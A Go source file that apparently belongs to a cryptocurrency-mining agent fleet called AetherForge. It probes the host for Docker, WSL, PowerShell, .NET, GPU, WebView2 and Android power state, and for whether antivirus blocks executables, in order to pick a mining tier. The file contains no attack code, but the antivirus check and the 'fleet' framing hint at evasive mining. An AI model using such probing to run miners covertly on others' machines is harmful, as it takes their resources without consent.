Files
AetherForge/agent/miner/environment_probe.go
AetherForge 50ebfe53cb Add Android APK fleet nodes with Crucible UI integration and tests.
APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
2026-06-07 02:44:29 -07:00

131 lines
3.5 KiB
Go

package miner
import (
"os"
"os/exec"
"runtime"
"strings"
"crypto-miner-agent/config"
)
// EnvironmentProbes captures host capabilities that drive tier selection.
type EnvironmentProbes struct {
Docker bool `json:"docker"`
WSL bool `json:"wsl"`
PowerShell bool `json:"pwsh"`
DotNet bool `json:"dotnet"`
GPU bool `json:"gpu"`
AVBlocksExe bool `json:"av_blocks_exe"`
WebView2 bool `json:"webview2"`
Wifi bool `json:"wifi,omitempty"`
Battery bool `json:"battery,omitempty"`
ForegroundService bool `json:"foreground_service,omitempty"`
}
// probeExecCommand is exec.Command; tests override via SetProbeExecCommand.
var probeExecCommand = exec.Command
// SetProbeExecCommand restores the default when fn is nil.
func SetProbeExecCommand(fn func(name string, args ...string) *exec.Cmd) {
if fn == nil {
probeExecCommand = exec.Command
return
}
probeExecCommand = fn
}
// gpuProbeFn reports discrete GPU presence; tests inject via SetGPUProbe.
var gpuProbeFn = defaultGPUProbe
// SetGPUProbe restores the default when fn is nil.
func SetGPUProbe(fn func() bool) {
if fn == nil {
gpuProbeFn = defaultGPUProbe
return
}
gpuProbeFn = fn
}
func defaultGPUProbe() bool {
return false
}
// ProbeEnvironment gathers tier eligibility signals from the local host.
func ProbeEnvironment(runtimeFn func() ContainerRuntimeInfo) EnvironmentProbes {
if runtimeFn == nil {
runtimeFn = RuntimeDetector
}
rt := runtimeFn()
p := EnvironmentProbes{
Docker: rt.Available,
GPU: gpuProbeFn(),
}
if config.IsAndroidPlatform() {
p.Wifi = envTruthy("AETHERFORGE_WIFI_CONNECTED")
p.Battery = envTruthy("AETHERFORGE_BATTERY_OK")
p.ForegroundService = envTruthy("AETHERFORGE_FOREGROUND_SERVICE")
return p
}
if runtime.GOOS == "windows" {
wsl := WSLDetector()
p.WSL = wsl.Available
p.PowerShell = probePowerShell()
p.DotNet = probeDotNet()
p.WebView2 = probeWebView2()
p.AVBlocksExe = inferAVBlocksExe()
} else if runtime.GOOS == "linux" {
p.PowerShell = commandOK("pwsh", "--version") || commandOK("powershell", "--version")
p.DotNet = commandOK("dotnet", "--version")
}
return p
}
func envTruthy(key string) bool {
v := strings.TrimSpace(os.Getenv(key))
return v == "1" || strings.EqualFold(v, "true")
}
func inferAVBlocksExe() bool {
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_AV_BLOCKS_EXE")); v == "1" || strings.EqualFold(v, "true") {
return true
}
return false
}
func probeWSL() bool {
return commandOK("wsl", "--status") || commandOK("wsl", "-l", "-q")
}
func probePowerShell() bool {
return commandOK("pwsh", "-NoLogo", "-NoProfile", "-Command", "$PSVersionTable.PSVersion.Major") ||
commandOK("powershell", "-NoLogo", "-NoProfile", "-Command", "$PSVersionTable.PSVersion.Major")
}
func probeDotNet() bool {
return commandOK("dotnet", "--version")
}
func probeWebView2() bool {
paths := []string{
os.Getenv("ProgramFiles") + `\Microsoft\EdgeWebView\Application`,
os.Getenv("ProgramFiles(x86)") + `\Microsoft\EdgeWebView\Application`,
}
for _, base := range paths {
if base == `\Microsoft\EdgeWebView\Application` {
continue
}
if info, err := os.Stat(base); err == nil && info.IsDir() {
return true
}
}
return commandOK("reg", "query", `HKLM\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\Clients\{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}`)
}
func commandOK(name string, args ...string) bool {
cmd := probeExecCommand(name, args...)
cmd.Stdout = nil
cmd.Stderr = nil
return cmd.Run() == nil
}